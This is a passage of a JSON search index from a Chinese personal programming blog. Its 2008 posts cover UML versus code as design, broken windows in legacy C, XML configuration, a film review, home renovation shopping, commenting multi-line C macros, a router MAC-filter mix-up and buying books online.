Case图；设计阶段有组件图、类图；部署阶段有部署图，另外还有序列图、状态图、活动图作为辅助。UML到目前为止也从1.0发展到了2.0版本，但其实际应用情况如何呢？乐观点说是：没有\u0026quot;图纸\u0026quot;在建筑领域应用的那么广；如果从我了解的和接触的实际情况来看，UML已经过了其高峰期，开始变得\u0026quot;不瘟不火\u0026quot;。\n程序员多数喜欢简单化、个性化和形象化的表达思想，一块白板，无拘无束。虽然UML在形象化上做的还不错，但是却始终无法打动程序员的心扉。从另一个事实来讲，图纸是建筑行业的门槛或者说是基础，而与之对应，代码才是软件行业的门槛。这样一来似乎代码才应该是一种共同的语言，在\u0026quot;敏捷软件开发\u0026quot;的附录中就有这样一篇文章：\u0026ldquo;源代码即设计\u0026rdquo;。那是否说：\u0026ldquo;代码\u0026quot;就是\u0026quot;软件业的图纸\u0026quot;呢？\u0026ldquo;代码\u0026quot;在设计开发人员之间可以说是基本无缝的，但是对于普通客户而言，代码似乎太专业了。其实在建筑行业\u0026quot;图纸\u0026quot;也多在设计师和设计师、设计师与施工人员之间做沟通之用，大项目中少有客户与设计师沟通时使用\u0026quot;图纸\u0026rdquo;，多数会用外观效果图。这样一来似乎软件开发领域的\u0026quot;代码\u0026quot;与建筑业\u0026quot;图纸\u0026quot;的概念达到了一定的一致性。\u0026ldquo;代码\u0026quot;作为沟通媒介的前提是：代码和设计的统一。为了达到这一目的，需要代码结构清晰，可读性，可沟通性要好，这也势必需要实现人员提高编码技艺。都说编程是一门艺术，从这里来看，名符其实。如果承认\u0026quot;代码\u0026quot;这一地位，那么实际上是确定了一个方向，以后向这个方向努力就是了，众所周知的\u0026quot;敏捷\u0026quot;在这个方向上做出了努力。\n上面也已经说过，\u0026ldquo;代码\u0026quot;过于专业，并不能作为\u0026quot;统一沟通媒介\u0026quot;来统一整个软件开发过程，看来我们只能继续期待头脑中理想的\u0026quot;图纸\u0026quot;的出现了，也许它会诞生于将来的一个突破性的\u0026quot;发明\u0026quot;或\u0026quot;发现“；也可能它将是一个永远的\u0026quot;梦\u0026rdquo;。\n","permalink":"https://tonybai.com/2008/03/31/where-is-the-drawing-of-software-developing/","summary":"\u003cp\u003e上周日和橱柜公司商量好，下午三点到我的房子量尺，橱柜设计师按时到达，拿着一卷尺开始了测量工作。有过装修经历的人都知道：在装修公司进场之前需要橱柜设计师出一份水电改造图，便于装修公司人员确定水电改造的具体方法。装修公司的施工人员与橱柜设计师之间仅需要一份设计图纸就可以完成水电路改造的沟通，这不由得让我想起这样一个问题：\u0026ldquo;软件开发领域的\u0026quot;图纸\u0026quot;在哪里呢\u0026rdquo;?\u003c/p\u003e","title":"软件业的'图纸'在哪里？"},{"content":"每天早晨都是坐公司的班车上班的，从家到公司大约需要40分钟，这段时间不短也不长。为了打发时间，也曾经想过要充分利用这段时间，我选择过听音乐、看书。但音乐听时间长了就听烦了；在车上看书时间长了还有些头晕，所以多数时间我还是选择\u0026quot;思考\u0026quot;。\u0026ldquo;思考\u0026quot;的同时，眼睛也一直在\u0026quot;欣赏\u0026quot;车窗外的风景。今天窗外一处新楼盘门市的两个破碎的窗户让我的\u0026quot;思考\u0026quot;有了方向。\n建筑物上的几扇\u0026quot;破窗户\u0026rdquo;，很多人即使注意了，也会不以为然。但是对于看过 Andrew Hunt 和David Thomas合著的\u0026quot;程序员修炼之道\u0026ldquo;一书的程序员们也许都会\u0026quot;见景生情\u0026rdquo;，因为在工作中身为程序员的我们时常(甚至总是)和\u0026quot;破窗户\u0026quot;打交道。\n万事万物都是有其共同的规律的：建筑物上的破窗户、牙齿上的\u0026quot;小洞\u0026quot;、软件中的低劣设计、糟糕代码的等等，在其出现的初期也许并未显现出问题，但是如果你没有及时修复，建筑物上也许会出现更多破窗户、被丢了很多垃圾、被胡乱的信手涂鸦；牙齿上的洞洞越来越大，周围的牙齿也受到牵连，开始出现\u0026quot;小洞\u0026quot;；软件中低劣的设计风格被继承、糟糕的代码被复制并被散布到系统的方方面面，以至于到最后无法控制，或者是花费很大力气来修复。\n面对\u0026quot;破窗户\u0026quot;，常有这样几类情形：\n无法识别\u0026quot;破窗户\u0026quot;； 识别出\u0026quot;破窗户\u0026quot;，但不愿修复； 识别出\u0026quot;破窗户\u0026quot;，有修复意愿，但\u0026quot;破窗户\u0026quot;难于修复，或者修复成本太高，或外部因素(时间、人员、成本)导致资源不足以修复这些\u0026quot;破窗户\u0026quot;； 遇到\u0026quot;破窗户\u0026quot;，立即修复。\n前两种情况，一个是水平问题；另一个就是职业素养问题了，这里不多说；我们常遇到的情况往往是最后两种，如果是最后一种，其实你是幸运的，多数这种情形下你从事的一个新的系统或者项目，没有太多的遗留代码，一切都在自己的控制之下，通过重构可以达到修复\u0026quot;破窗户\u0026quot;的目的；但是如果是第三种情况，那往往是最让人痛苦的-自己无法控制，即使有渴望有热情有能力去修复那些\u0026quot;破窗户\u0026quot;，但迫于系统庞大，业务复杂，时间有限而不敢轻易出手，更让人痛心的是，系统中\u0026quot;破窗户\u0026quot;的设计和代码渐渐传染给新人，新人在维护系统时就会\u0026quot;以丑为美\u0026quot;，继续在系统上\u0026quot;涂鸦\u0026quot;，引入更多\u0026quot;破窗户\u0026quot;。由此可见及时的修复\u0026quot;破窗户\u0026quot;还兼有\u0026quot;整治歪风邪气\u0026quot;之作用。 在有\u0026quot;破窗户\u0026quot;的项目上增量开发风险很大，特别是当系统业务复杂、架构复杂时，添加一个很小的功能都应谨慎，最好能有完善的单元测试Case做保障。说到单元测试Case，设计起来又谈何容易，特别是对于由C写成的复杂业务系统，C语言本身就缺乏足够理想的单元测试工具，或者说像C这样的语言好似天生就和\u0026quot;单元测试\u0026quot;的概念无法和谐共生。对于复杂的业务单元，我们很难或者无法从纷繁芜杂的业务逻辑中剥离，或者说还是由于代码设计上的\u0026quot;破窗户\u0026quot;导致的不可测性，让\u0026quot;破窗户\u0026quot;得以延续。除非管理层狠下决心，重写系统。现在开始觉得与编写上层复杂业务逻辑相比，能编写一个独立底层库或者实现某种算法算是幸福了，因为你会有一种\u0026quot;可控\u0026quot;的感觉，而不是写完代码心里发虚的很；至于在有\u0026quot;破窗户\u0026quot;的系统上写业务逻辑，那就会又多出另外一种感觉-无奈了。\n","permalink":"https://tonybai.com/2008/03/28/the-helplessness-to-face-the-broken-window/","summary":"\u003cp\u003e每天早晨都是坐公司的班车上班的，从家到公司大约需要40分钟，这段时间不短也不长。为了打发时间，也曾经想过要充分利用这段时间，我选择过听音乐、看书。但音乐听时间长了就听烦了；在车上看书时间长了还有些头晕，所以多数时间我还是选择\u0026quot;思考\u0026quot;。\u0026ldquo;思考\u0026quot;的同时，眼睛也一直在\u0026quot;欣赏\u0026quot;车窗外的风景。今天窗外一处新楼盘门市的两个破碎的窗户让我的\u0026quot;思考\u0026quot;有了方向。\u003c/p\u003e","title":"面对'破窗户'的无奈"},{"content":"最近收到客户的一个需求，要求我们将产品的系统配置数据和业务配置数据定期导出备份，以防万一数据库宕掉后可以用来\u0026quot;救火\u0026quot;。产品从起初0.1版本就一直延续着一种\u0026quot;section-key-value\u0026quot;的配置文件方式，同时我们也有可复用的库来完成配置数据的读取，可是在长期的使用过程中我们发现的不少问题，特别是在存储多样化的业务数据的时候，这样的配置方式带来维护上的很大不便。\n\u0026ldquo;section-key-value\u0026quot;这样的配置文件方式或者类似于环境变量似的配置文件方式用来做系统自己的配置可以说既简单又实用，像著名的Apache服务器、版本控制系统svn等都是采用这种方式。在我们产品的初期，那时的业务相对简单，采用这样的一种配置方式还算是合适的。但随着业务复杂度的上升，种类繁多的业务数据的出现，这种配置方式的弊端渐渐显现。\n最大的弊端就是\u0026quot;同步\u0026quot;问题。每当我们的产品升级时，我们一般都会先升级数据库的配置，然后再同步文档，最后同步配置文件以及相关读取代码。如果工作量较大，升级工期较紧的时候，常常忽略了将新增或修改的配置同步到配置文件；这样累积到一定时间之后，除了花费大力气去\u0026quot;补\u0026rdquo;，别无它法。另外一个弊端就是上面提到的那个问题：从数据库导出配置文件始终是那么\u0026quot;别扭\u0026quot;，曾经尝试过使用脚本导出、Java程序导出，但是始终不能让人很满意，挖掘一下深层原因：配置文件和数据库表设计\u0026quot;不搭调\u0026quot;。业务数据千变万化，导致从数据库导出配置文件的逻辑甚是复杂，维护起来十分不便；而且像\u0026quot;section-key-value\u0026quot;这样的结构，数据库中由于没有section的字串，导致这些section必须\u0026quot;写死\u0026quot;在代码中。\n不错，我们在寻找替代品，目标锁定在xml。曾经在2005年做的一个项目中尝试过使用xml作为配置数据，取得了很好的效果。记得当时参考Ant的build.xml的配置方式，顺利解决了一个\u0026quot;自动化处理\u0026quot;的配置设计，那应该是部门第一次采用xml做为后台C实现的系统的配置文件。也是自那以后，我感受到了xml的强大描述能力。xml在Java世界可以说占据了大部江山，从DB导出数据到xml可以说轻而易举，这又恰好解决了本篇所提到的\u0026quot;同步\u0026quot;难题。\n坐在公司的Bus上，大致想出了如下xml作为配置文件的好处：\n与DB表几乎无缝转换，方便导入导出； 作为元语言，其描述能力毋庸置疑； 在Java世界几乎是配置文件的首选或者说是标准也不过分，选择标准的，总会被支持的很好； 诸多开源工具支持对XML的读写甚至支持加密； 文本形式，方便浏览和信息查找(grep or find均可派得上用场)，这也符合Unix编程艺术(TAOUP)作者在书中阐述的一个原则-尽量文本化。 DTD或schema验证，自动验证格式是否OK。\n… … 当然缺点也是有的：\n如果不加密，是明文，保存账户、密码等数据时要小心，当然这也是文本配置的通病； 如果设计不当，会导致\u0026quot;xml地狱\u0026quot;，xml太多也太烦，很多Java世界的产品就有此弊病。 大致在心里估算了一下，读取xml承载的配置与读取传统的配置的代码量没有太大出入，但是如果xml设计的足够精致，后期的维护工作将大为减少。xml配置改造工作看来势在必行了。\n","permalink":"https://tonybai.com/2008/03/24/the-benefits-of-using-xml-as-configuration/","summary":"\u003cp\u003e最近收到客户的一个需求，要求我们将产品的系统配置数据和业务配置数据定期导出备份，以防万一数据库宕掉后可以用来\u0026quot;救火\u0026quot;。产品从起初0.1版本就一直延续着一种\u0026quot;section-key-value\u0026quot;的配置文件方式，同时我们也有可复用的库来完成配置数据的读取，可是在长期的使用过程中我们发现的不少问题，特别是在存储多样化的业务数据的时候，这样的配置方式带来维护上的很大不便。\u003c/p\u003e","title":"说说用xml做配置文件的优劣"},{"content":"感觉好长时间(离上一次看\u0026quot;集结号\u0026ldquo;大概有三个月时间了)没有到影院看电影了，一来是觉得没有什么好电影值得看，二来这些时间事情较多，有时候还真的想不起来去看电影。直到近期看了任正非给华为员工的一封信，信中有这么一段：\u0026ldquo;员工不能成为守财奴，不能成为金钱的奴隶，丰厚的薪酬是为了通过优裕、高雅的生活\u0026rdquo; 。任总的期望是好的，但是我几乎可以肯定的是大多数程序员下班后依然会坐在计算机前，不是加班、学习就是打游戏、看片。说实话，程序员的业余生活真的很单调，起码我了解的我周围的同事基本都是这样。白天已经很累了，晚上也就没有心思到外头消遣了，只想回到家这个避风港安静一下，有点自己的时间。不过周末还是可以细致安排一下自己的生活的，起码到影院看场电影^_^。近期关注了一下上映的片子也有不少，如\u0026rdquo;国家宝藏2\u0026quot;、\u0026quot;尼斯湖水怪\u0026quot;、\u0026ldquo;史前一万年\u0026rdquo;，我最终选择了\u0026quot;史前一万年\u0026quot;。\n之所以选择\u0026quot;史前一万年\u0026quot;有两个原因：一是冲着其导演罗兰德·艾默里克，冲着他导演过\u0026quot;后天\u0026quot;、\u0026ldquo;爱国者\u0026quot;和\u0026quot;独立日\u0026quot;等多部大片；二是冲着其片名\u0026quot;史前一万年\u0026rdquo;，给人以无限遐想，对于一个深处现代文明的人，史前一万年是多么具有魅力啊^_^。\n这周，同事赠给我两张免费电影票，也就促成了我这次\u0026quot;史前一万年\u0026quot;之旅。片子不算很长，总体算来有100分钟就不错了，算上片头广告才110分钟左右。100多分钟下来，我的感觉是\u0026quot;有惊喜有失望\u0026quot;。下面一点点说：\n这部电影是我为数不多的在观看前没有具体了解过的电影，坐在电影院的时候，我自己对梗概剧情也是一无所知。仅是从名字上猜想导演会给我们展现出10000年前的生活景象，加上有过\u0026quot;后天\u0026quot;的观感，对于这部影片的视觉效果也是很是期待。在我的想象中，导演会将10000年前的生活很具体、很生动、很全面的展现在我们面前，在这以前我有过\u0026quot;金刚\u0026quot;、\u0026ldquo;侏罗纪公园\u0026quot;等影片的观影经验，也就自然会有如此期待了。另外我原以为剧情是关于某个主人公在10, 000 BC的历险记呢，看上5分钟后我才发现不是这样的。影片的主线还是\u0026quot;亘古不变\u0026quot;的英雄和爱情，只是从时间维度上，导演将之放到了远离我们的10, 000 年前。挖掘人类未知的\u0026quot;新世界\u0026quot;似乎成为了近几年世界范围电影导演的一个新方向，而且收效还都不错，比如说\u0026quot;哈利波特\u0026quot;系列、指环王系列、纳尼亚传奇系列等。随着影片的深入，远古动物逐个展现在我们眼前，遗憾的是，这部片子中远古动物种类展示的太少了，食肉大鸟、剑齿虎、猛犸象仅此三种而已，而且片中缺少对10,000年前总体动物环境的渲染，也许是影片成本所致，毕竟电脑特技制作成本还是很高的，特别是好的制作公司的作品。\n此部片子的剧情还是逐步引人入胜的，从一开始的\u0026quot;四脚杀人怪兽\u0026rdquo;、到”主人公父亲出走“、再到壁画中\u0026quot;大鸟\u0026quot;的出现直至一座辉煌的金字塔展现在观众面前，也许当且仅当金字塔的出现时，我们才会松一口气，心里道一声\u0026quot;原来如此\u0026quot;。的确，建造金字塔的场面还是很是让人震撼的。而对金字塔的拥有者的猜测也会立即占据你的头脑。不过这次导演放弃了挑战众人想象力的机会，那个统治者没有超出\u0026quot;人\u0026quot;的范畴，剧情中提到了那个人或许来自某个沉入海底的文明或者来自其他什么地方，影片中没有太多的交代，这个任务留给了我们。\n一个有意思的细节是：在金字塔展现，女主角手上的星形伤疤被发现时，影院里很多人都不由自主的说出了\u0026quot;埃及艳后\u0026quot;这四个字，仿佛大家都会觉得这个女人将成为埃及法老的女人，但导演似乎并不认为这个金字塔就是埃及人创建的那个金字塔，也没有按照我们的另类思路前行，而是走了传统路线-美好的结局。这一扬一抑将影片推向高潮。\n这是一部中性影片，老少皆宜，虽内涵稍有不足，但毕竟只是导演或者编剧给我们做的一种关于\u0026quot;新世界\u0026quot;的假想和猜测。另外我很喜欢片中亚高族的那把\u0026quot;白矛\u0026quot;，很Cool^_^。\n","permalink":"https://tonybai.com/2008/03/23/thoughts-on-film-10000-bc/","summary":"\u003cp\u003e感觉好长时间(离上一次看\u0026quot;\u003ca href=\"http://www.douban.com/subject/1907464\"\u003e集结号\u003c/a\u003e\u0026ldquo;大概有三个月时间了)没有到影院看电影了，一来是觉得没有什么好电影值得看，二来这些时间事情较多，有时候还真的想不起来去看电影。直到近期看了任正非给华为员工的一封信，信中有这么一段：\u0026ldquo;员工不能成为守财奴，不能成为金钱的奴隶，丰厚的薪酬是为了通过优裕、高雅的生活\u0026rdquo; 。任总的期望是好的，但是我几乎可以肯定的是大多数程序员下班后依然会坐在计算机前，不是加班、学习就是打游戏、看片。说实话，程序员的业余生活真的很单调，起码我了解的我周围的同事基本都是这样。白天已经很累了，晚上也就没有心思到外头消遣了，只想回到家这个避风港安静一下，有点自己的时间。不过周末还是可以细致安排一下自己的生活的，起码到影院看场电影^_^。近期关注了一下上映的片子也有不少，如\u0026rdquo;\u003ca href=\"http://www.douban.com/subject/1607471/\"\u003e国家宝藏2\u003c/a\u003e\u0026quot;、\u0026quot;\u003ca href=\"http://www.douban.com/subject/1866424/\"\u003e尼斯湖水怪\u003c/a\u003e\u0026quot;、\u0026ldquo;史前一万年\u0026rdquo;，我最终选择了\u0026quot;\u003ca href=\"http://www.douban.com/subject/1949761/\"\u003e史前一万年\u003c/a\u003e\u0026quot;。\u003c/p\u003e","title":"'史前一万年'观感"},{"content":"现在，一般家庭装修多数采用半包的方式，也就是装修公司出人、出辅料(水泥、沙子、油漆、木料等)，自己买主材，如地板、磁砖等。虽说半包的模式已经将最麻烦、最牵扯精力、最技术相关的装修工作交给了装修公司去打理，但主材选购也扔是足够令人头疼的。\n装修绝对是一项系统工程，而且是一件很\u0026quot;庞大\u0026quot;的系统工程，如果你能将每个细节都搞得清楚的话，那我真的要对你说声\u0026quot;佩服\u0026quot;了。我自己是没时间、没耐心也没那个热情去学习，要知道关于材料选购的知识，网上那是\u0026quot;多如牛毛\u0026quot;，即使搞懂\u0026quot;地板\u0026quot;这一种主材也足够让你头疼的，你要了解地板的种类、工艺、品牌、价位以及很多影响地板品质的细节知识，而且了解某种主材还不能全凭网络上的一家之言，还要亲身到装饰建材市场去调查，去研究，一趟走来又费工夫、又费体力，有时候还达不到预期效果，甚至有时还因与某些卖家沟通不畅而惹得一肚子气。\n掐指算来，选购主材的\u0026quot;活儿\u0026quot;已经占用我三个周末的休息时间了，周末两天每天都早起晚归-搜街。装修之初大家都有这样的期望：买到物美价廉的商品。正是由于这样的\u0026quot;念头\u0026quot;，我们才从一个商场逛到另一个商场，总希望碰到\u0026quot;天上掉馅饼\u0026quot;的机会，但往往的结果都是\u0026quot;看得多了、心烦了、意乱了，选择也就开始随便了\u0026quot;。所以事先做好选购定位是很关键的，这也是亲身体验后的一些总结。\n选择\u0026quot;门当户对\u0026quot;的主材\n装修前大家或多或少都会掂量一下自己的\u0026quot;钱袋\u0026quot;，了解一下自己的购买力，这时千万不要做乐观打算，最好能实事求是，将选购的主材对象锁定在与自己\u0026quot;财力\u0026quot;相符的层次上。装修材料和其他商品都是类似的，也有高中低档之分，选定一个粗线条的范围后，在进一步细化，直至选到合适的商品。\n价格趋同，在大型家居广场或超市选购更有保障\n逛了这就长时间的建材市场，发现同一品牌、同一型号的材料无论在专卖店还是在大型商场、超市价格和活动都是相同的。或者说现在在某一个城市，都是一个代理商在做同一个品牌，各个门店的价格逐渐趋同，在这样的情况下去大型Mall去购买材料反倒更具保障，一般的大型商场如居然之家、红星美凯龙、百安居、东方家园等，都是有自己的保障体系的，同样的商品你会得到商家和商场的双重保障，而且有些时候，商场凭借其影响力还能拿到更低的折扣价，在售后服务方面做得也比一般的专卖店要好，在这样的地方购物，图的就是放心。比如今天我在东方家园买的瓷砖，在其他店面是有偿送货上楼的，而东方家园则是无偿，单价还比其他地方要低上一些；上周在居然之家买的地板的价格也和其他门店一样，而且还可以刷卡积分，这样的消费还是很痛快的。\n不要回避\u0026quot;活动\u0026quot;\n中国的国情是这样的：不活动不买东西。有些时候\u0026quot;活动\u0026quot;的确能给消费者带来一些\u0026quot;实惠\u0026quot;，当然这需要你事先了解到你要选购商品在市场上的行情，这样你才能对比出来商场的活动到底掺了多少水分。有些时候，商场的确是凭着其强大的实力来做活动的，价格就是比其他地方低，东西还是同样的东西，在商场活动期间购买，何乐而不为呢。就拿今天买的瓷砖来说，我都在不下三个地方看了多次了，都是一样的价，东方家园给无偿送货上楼、还有相当额度的赠券，我当然在这里买了。用这些可观的券我还拿下了方太一款偏高档的烟机和最新推出的五腔驱动燃气灶。当然了，如果你是专家，你懂得内幕，那就另当别论了。其实当专家也是很难的，什么都知道，什么对他都透明，他自己如果装修的话，那采购起东西来也是相当闹心的。\n太晚了，不写了，希望那些即将要开始选购主材的朋友们都能选购到真正\u0026quot;物美价廉\u0026quot;的商品。\n","permalink":"https://tonybai.com/2008/03/17/house-decoration-notes-buying-materials/","summary":"\u003cp\u003e现在，一般家庭装修多数采用半包的方式，也就是装修公司出人、出辅料(水泥、沙子、油漆、木料等)，自己买主材，如地板、磁砖等。虽说半包的模式已经将最麻烦、最牵扯精力、最技术相关的装修工作交给了装修公司去打理，但主材选购也扔是足够令人头疼的。\u003c/p\u003e","title":"装修博弈·主材选购"},{"content":"早上在写代码时遇到这样一个问题：即如何在一个拥有多行的宏定义中做注释？，这里把方法演化的过程贴出来，可能对某些朋友有些借鉴意义。\n宏定义高深莫测，而且是比较细节的东西，详细说明请参见\u0026quot;C参考手册\u0026quot;之类的书籍。\n在我的代码中，我大致要做这样一个简单的事情：printf(\u0026quot;%s%s%s\\n\u0026quot;, \u0026ldquo;hello\u0026rdquo;, \u0026ldquo;macro\u0026rdquo;, \u0026ldquo;yeah!\u0026rdquo;); \u0026ldquo;%s%s%s\\n\u0026quot;这个字符串中每一项输出都有一定的含义，而且在真实代码里，这个串中的输出项可不止3个，所以一个直接的想法就是将其定义为一个宏。\n#define STR_OUTPUT_FORMAT_V0 \u0026ldquo;%s%s%s\\n\u0026rdquo;\nprintf(STR_OUTPUT_FORMAT_V0, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n程序输出：hello macro, yeah!\n由于真实代码中这个串很长，所以打算美化一下格式，定义成下面的样子：\n#define STR_OUTPUT_FORMAT_V1 \u0026ldquo;%s\\\n%s\\\n%s\\n\u0026rdquo;\nprintf(STR_OUTPUT_FORMAT_V1, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n程序输出：hello macro, yeah!\n这样的定义显然不对，也在我意料之中，续行符将空格也续到格式串中了，导致输出的结果中带有大量空格。\n改进一下，利用C语言的字符串自动连接语法。\n#define STR_OUTPUT_FORMAT_V2 \u0026ldquo;%s\u0026rdquo;\\\n\u0026ldquo;%s\u0026rdquo;\\\n\u0026ldquo;%s\\n\u0026rdquo;\nprintf(STR_OUTPUT_FORMAT_V2, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n程序输出：hello macro, yeah!\n现在的问题是如何在这样一个多行的宏定义里加入注释，字段含义特殊，加上注释有利于以后维护以及别人阅读你的代码，否则一堆%s%s，让人看了就头痛。先这么加试试：\n#define STR_OUTPUT_FORMAT_E1 \u0026ldquo;%s\u0026rdquo;\\ /* comment1 */\n\u0026ldquo;%s\u0026rdquo;\\ /* comment2 */\n\u0026ldquo;%s\\n\u0026rdquo; /* comment3 */\nprintf(STR_OUTPUT_FORMAT_E1, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n我们得到的结果：编译错误。\n通过gcc -E 选项我们看到，宏替换后的代码:\n\u0026ldquo;%s\u0026rdquo;\\\n\u0026ldquo;%s\\n\u0026rdquo;\nint main() {\nprintf(\u0026quot;%s\u0026rdquo;\\, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n}\n由于没有续行符在注释前面，所以宏定义的后两行实际上并没有被包含在宏定义中，就像没有暂住证的人一样，被GCC这个\u0026quot;警察\u0026quot;逮个正着。\n继续改进：\n#define STR_OUTPUT_FORMAT_V3 \u0026ldquo;%s\u0026rdquo; /* comment1 */ \\\n\u0026ldquo;%s\u0026rdquo; /* comment2 */ \\\n\u0026ldquo;%s\\n\u0026rdquo; /* comment3 */\nprintf(STR_OUTPUT_FORMAT_V3, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n程序输出：hello macro, yeah!\n显然预编译器忽略宏定义中的注释以及空格，STR_OUTPUT_FORMAT_V3就完全符合我的要求了。\n当然，很多人不建议使用宏，特别是C++的Fans，宏也的确有很多弊端，这里也有替代方法：\nconst char *str_output_format = \u0026ldquo;%s\u0026rdquo; /* comment1 */\n\u0026ldquo;%s\u0026rdquo; /* comment2 */\n\u0026ldquo;%s\\n\u0026rdquo;; /* comment3 */\nprintf(str_output_format, \u0026ldquo;hello \u0026ldquo;, \u0026ldquo;macro, \u0026ldquo;, \u0026ldquo;yeah!\u0026rdquo;);\n程序输出：hello macro, yeah!\n用一个字符串变量代替格式宏，还可以避免上述由于在宏中做注释带来的一系列问题。\n","permalink":"https://tonybai.com/2008/03/14/the-problems-of-commenting-multiple-lines-macro/","summary":"\u003cp\u003e早上在写代码时遇到这样一个问题：即如何在一个拥有多行的宏定义中做注释？，这里把方法演化的过程贴出来，可能对某些朋友有些借鉴意义。\u003c/p\u003e\n\u003cp\u003e宏定义高深莫测，而且是比较细节的东西，详细说明请参见\u0026quot;C参考手册\u0026quot;之类的书籍。\u003c/p\u003e","title":"多行宏定义中的注释问题"},{"content":"无线路由设置本来是件很简单的事情，但今晚却让我吃尽了苦头，这里暂且用\u0026rsquo;疯狂\u0026rsquo;来形容吧，也许有些不当。自从买了D-Link 624+A无线路由器之后，在家里上网就一直使用它了。这之前一直是使用我的工作笔电单机访问，今天不知怎么心血来潮，拿出我自己的\u0026rsquo;古董本本\u0026rsquo;(和今天的本本性能做比较，我的本本也算是古董级的了，有些夸张^_^)，来一个双机访问，按理说：只要在无线路由器上配置一个DHCP服务器就可以了，可以个马虎的操作却让我花了近三个小时才搞定它。\n我的本本03年购入，Acer的TravelMate系列。最近听说Acer已经坐上了全球PC第二把交椅，看来当初我的选择还不错。本子不自带无线网卡，早前买过一个TP-link WN210+的11M 802.11b的无线网卡，PCMCIA接口的，这回派上了用场。首先装驱动，还别说Windows自己在网上的确搜到了驱动，并安装了，不过这个驱动不支持WPA等安全模式，我的无线路由设置的是带有安全机制的访问方式；所以只能继续找专有驱动，在网上找了半天也没找到合适的，下了几个都不好用。突然想起自己的本子里好像有备份，果不其然啊，在我的Tools目录下有笔记本的全套驱动，真是\u0026quot;踏破铁鞋无觅处，得来全不费功夫\u0026quot;啊，安装一路顺利。\nWPA安全方式已经可以支持了，但是依旧还是连不上我的无线，总是提示\u0026quot;网络受限或不可用\u0026quot;，把D-link的设置看了一遍又一遍、改了一遍又一遍也是不好用。到网络上搜、到D-link官方站点找，试了多次依旧不行。通过D-Link的系统日志看到如下信息：\u0026ldquo;2008年3月7日, 星期五, x时xx分xx秒 Block xx-xx-xx-xx-xx-xx because deny all\u0026rdquo;。似乎是路由器故意要拦着我的本子。无奈下改变接入模式为OPEN的，随意接入。这回本子显示已经连接上了，并且获取了IP地址，网关和DNS设置都没有问题，本以为这样就ok了呢，但是依旧无法访问Internet。打开\u0026quot;控制台\u0026quot;，ping一下网关，发现居然ping不通，路由器里面也没有相关对内部网络禁止ping的设置，系统日志依旧显示：\u0026ldquo;2008年3月7日, 星期五, x时xx分xx秒 Block xx-xx-xx-xx-xx-xx because deny all\u0026rdquo;。现在期指是疯狂，简直是绝望。\n无意中，或者说思维混乱中，看到D-link配置界面的\u0026quot;进阶设定\u0026quot;-\u0026gt; \u0026ldquo;过滤器\u0026quot;的设置，点击\u0026quot;MAC地址过滤\u0026rdquo;，发现我选择的策略居然是\u0026quot;只允许下述 MAC 地址之使用者存取网络 \u0026ldquo;，而下面的\u0026quot;MAC地址过滤表\u0026quot;中只有我这台IBM本子的MAC地址，问题找到了。思维回到若干天前，当刚刚买回路由器时，我胡乱设置这个过滤规则后，就忘记了，真没想到会给我今天带来这么大的麻烦。关闭MAC地址过滤后，我的老笔电终于可以Surfing the Internet了。\n不过还有一个问题：当我将安全机制设回WPA-PSK模式后，我的本子又提示：\u0026ldquo;网络受限或不可用\u0026quot;了，我已经将无线profile删除重建了，但依然如此，不管了，凡能在非安全认证下可以访问已经是进步了，以后再慢慢摸索吧。\n","permalink":"https://tonybai.com/2008/03/08/configure-wireless-router/","summary":"\u003cp\u003e无线路由设置本来是件很简单的事情，但今晚却让我吃尽了苦头，这里暂且用\u0026rsquo;疯狂\u0026rsquo;来形容吧，也许有些不当。自从买了\u003ca href=\"http://www.dlinkbbs.com/forum-119-1.html\"\u003eD-Link 624+A\u003c/a\u003e无线路由器之后，在家里上网就一直使用它了。这之前一直是使用我的工作笔电单机访问，今天不知怎么心血来潮，拿出我自己的\u0026rsquo;\u003ca href=\"http://tonybai.com/2006/03/30/my-laptop-3-years-old/\"\u003e古董本本\u003c/a\u003e\u0026rsquo;(和今天的本本性能做比较，我的本本也算是古董级的了，有些夸张^_^)，来一个双机访问，按理说：只要在无线路由器上配置一个DHCP服务器就可以了，可以个马虎的操作却让我花了近三个小时才搞定它。\u003c/p\u003e","title":"无线路由设置也'疯狂'"},{"content":"现在我买书(一般指技术类，非技术类在书市买折扣比网上多)一般都是先到豆瓣网去\u0026rsquo;货比三家\u0026rsquo;，哪家价格低我就在哪里买。上个月25号凌晨未睡，无意中看到\u0026quot;代码大全2\u0026ldquo;在卓越网卖价很低，到卓越一看，卓越亚马逊居然还免运费，正巧还想买那本经典的\u0026quot;人月神话\u0026rdquo;，就在卓越下了单。\n第二天，mail通知已发货，并给出到达预期是在3月3日左右。\n我买的\u0026quot;人月神话\u0026ldquo;是2002年出的平装第二版，而不是去年那个32周年中文纪念版，后者略贵，关键是内容也没有什么变化。\u0026ldquo;代码大全2\u0026quot;已经出版很久了，一直没有买。刚出版时翻了翻，感觉很多内容自己不关心，最近又翻了翻其中文电子版，认真的读了几章后决定拿下，好书，先收藏起来，至于什么时候读，什么时候读完那是后话^_^。\n下午，接到送货员的电话，赶紧下楼取货。\u0026quot;人月神话\u0026ldquo;由于出版年头已久，不免有些\u0026quot;沧桑感\u0026rdquo;(略有些发旧，估计库存时间很长了)，而\u0026quot;代码大全2\u0026quot;则是崭新的，一共是94.1元，我说我没有零钱，送货员说他自带了零钱，给他100元，他找了我6元，说那一角钱就算了。看来卓越的服务还不错^_^。回到座位上突然想到下单时忘记开发票了，记忆中好像卓越没有提供发票选项，实在是记不得了，待下次下单时再重点关注一下。\n卓越网在沈阳的送货上门服务范围是二环以内，由于公司在开发区，已经超出此范围了，我下单时就trick了一把，故意选择二环内的和平区，然后送货地址填写正确的地址，我是想看看到底卓越能否给我送到，还别说这招真灵。用白云大妈的话来讲：真是太有才了!^_^\n","permalink":"https://tonybai.com/2008/03/04/buy-book-on-amazon/","summary":"\u003cp\u003e现在我\u003ca 